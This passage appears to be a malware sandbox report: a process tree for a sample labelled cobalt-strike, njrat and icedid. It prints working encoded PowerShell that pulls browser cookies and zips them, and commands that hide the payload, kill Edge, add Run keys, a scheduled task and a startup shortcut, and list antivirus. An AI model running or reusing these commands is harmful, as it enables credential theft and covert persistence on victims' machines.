AHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA=
                                            3⤵
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:6448
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
                                          2⤵
                                            PID:6596
                                            • C:\Windows\system32\taskkill.exe
                                              taskkill /F /IM msedge.exe
                                              3⤵
                                              • Kills process with taskkill
                                              PID:6148
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_yvfujs" ."
                                            2⤵
                                              PID:6192
                                              • C:\Windows\system32\tar.exe
                                                tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_yvfujs" .
                                                3⤵
                                                  PID:6228
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1783133013624.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1783133013624.txt""
                                                2⤵
                                                  PID:6276
                                                  • C:\Windows\system32\tar.exe
                                                    tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1783133013624.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1783133013624.txt"
                                                    3⤵
                                                      PID:6308
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /d /s /c "cmd /c copy /Y "C:\Users\Admin\AppData\Local\Temp\2026-07-04_7dca76c1ba890fdd36d18fb820a77d44_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBrokerHost\RuntimeBrokerHost.exe""
                                                    2⤵
                                                      PID:4732
                                                      • C:\Windows\system32\cmd.exe
                                                        cmd /c copy /Y "C:\Users\Admin\AppData\Local\Temp\2026-07-04_7dca76c1ba890fdd36d18fb820a77d44_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBrokerHost\RuntimeBrokerHost.exe"
                                                        3⤵
                                                          PID:6388
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "RuntimeBrokerHost" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBrokerHost\RuntimeBrokerHost.exe"" /f"
                                                        2⤵
                                                          PID:6372
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "RuntimeBrokerHost" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBrokerHost\RuntimeBrokerHost.exe"" /f
                                                            3⤵
                                                            • Adds Run key to start application
                                                            PID:6364
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "RuntimeBrokerHost" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBrokerHost\RuntimeBrokerHost.exe"" /f"
                                                          2⤵
                                                            PID:6512
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "RuntimeBrokerHost" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBrokerHost\RuntimeBrokerHost.exe"" /f
                                                              3⤵
                                                              • Adds Run key to start application
                                                              PID:5552
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "RuntimeBrokerHostTask" /F"
                                                            2⤵
                                                            • Indicator Removal: Clear Persistence
                                                            PID:3224
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /Delete /TN "RuntimeBrokerHostTask" /F
                                                              3⤵
                                                                PID:5340
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIASABvAHMAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIASABvAHMAdAAuAGUAeABlACcAOwAkAHQAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AEwAbwBnAG8AbgA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEgAaQBkAGQAZQBuACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgADAAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBTAHQAYQByAHQAVwBoAGUAbgBBAHYAYQBpAGwAYQBiAGwAZQAgAC0ATQB1AGwAdABpAHAAbABlAEkAbgBzAHQAYQBuAGMAZQBzACAASQBnAG4AbwByAGUATgBlAHcAOwBSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIASABvAHMAdABUAGEAcwBrACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA="
                                                              2⤵
                                                                PID:4260
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIASABvAHMAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIASABvAHMAdAAuAGUAeABlACcAOwAkAHQAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AEwAbwBnAG8AbgA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEgAaQBkAGQAZQBuACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgADAAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBTAHQAYQByAHQAVwBoAGUAbgBBAHYAYQBpAGwAYQBiAGwAZQAgAC0ATQB1AGwAdABpAHAAbABlAEkAbgBzAHQAYQBuAGMAZQBzACAASQBnAG4AbwByAGUATgBlAHcAOwBSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIASABvAHMAdABUAGEAcwBrACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA=
                                                                  3⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:5040
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJAB3AHMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAHMAPQAkAHcAcwAuAEMAcgBlAGEAdABlAFMAaABvAHIAdABjAHUAdAAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHQAYQByAHQAIABNAGUAbgB1AFwAUAByAG8AZwByAGEAbQBzAFwAUwB0AGEAcgB0AHUAcABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIASABvAHMAdAAuAGwAbgBrACcAKQA7ACQAcwAuAFQAYQByAGcAZQB0AFAAYQB0AGgAPQAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgBIAG8AcwB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgBIAG8AcwB0AC4AZQB4AGUAJwA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ADcAOwAkAHMALgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4APQAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBlAHIAdgBpAGMAZQAnADsAJABzAC4AUwBhAHYAZQAoACkA"
                                                                2⤵
                                                                  PID:6468
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJAB3AHMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAHMAPQAkAHcAcwAuAEMAcgBlAGEAdABlAFMAaABvAHIAdABjAHUAdAAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHQAYQByAHQAIABNAGUAbgB1AFwAUAByAG8AZwByAGEAbQBzAFwAUwB0AGEAcgB0AHUAcABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIASABvAHMAdAAuAGwAbgBrACcAKQA7ACQAcwAuAFQAYQByAGcAZQB0AFAAYQB0AGgAPQAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgBIAG8AcwB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgBIAG8AcwB0AC4AZQB4AGUAJwA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ADcAOwAkAHMALgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4APQAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBlAHIAdgBpAGMAZQAnADsAJABzAC4AUwBhAHYAZQAoACkA
                                                                    3⤵
                                                                    • Drops startup file
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:6544
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run""
                                                                  2⤵
                                                                    PID:6224
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
                                                                      3⤵
                                                                        PID:5732
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                    1⤵
                                                                      PID:2076
                                                                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                      1⤵
                                                                        PID:5004
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                        1⤵
                                                                          PID:2120
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                          1⤵
                                                                          • Modifies data under HKEY_USERS
                                                                          PID:52
                                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBrokerHost\RuntimeBrokerHost.exe
                                                                          C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBrokerHost\RuntimeBrokerHost.exe
                                                                          1⤵
                                                                          • Executes dropped EXE
                                                                          • Checks processor information in registry
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          PID:2772
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10""
                                                                            2⤵
                                                                            • Hide Artifacts: Hidden Window
                                                                            PID:752
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10"
                                                                              3⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:5416
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA"
                                                                            2⤵
                                                                              PID:6556
                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA
                                                                                3⤵
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                PID:6436
                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fw2tyahu\fw2tyahu.cmdline"
                                                                                  4⤵
                                                                                    PID:6812
                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES87F3.tmp" "c:\Users\Admin\AppData\Local\Temp\fw2tyahu\CSCA70B52B1FB594C83ADDA5C3EF51E62C4.TMP"
                                                                                      5⤵
                                                                                        PID:6680
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /d /s /c "net session"
                                                                                  2⤵
                                                                                    PID:6788
                                                                                    • C:\Windows\System32\net.exe
                                                                                      net session
                                                                                      3⤵
                                                                                        PID:6800
                                                                                        • C:\Windows\system32\net1.exe
                                                                                          C:\Windows\system32\net1 session
                                                                                          4⤵
                                                                                            PID:6820
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /d /s /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName"
                                                                                        2⤵
                                                                                          PID:6844
                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                            wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
                                                                                            3⤵
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:6884
                                                                                        • C:\Windows\system32\cmd.exe
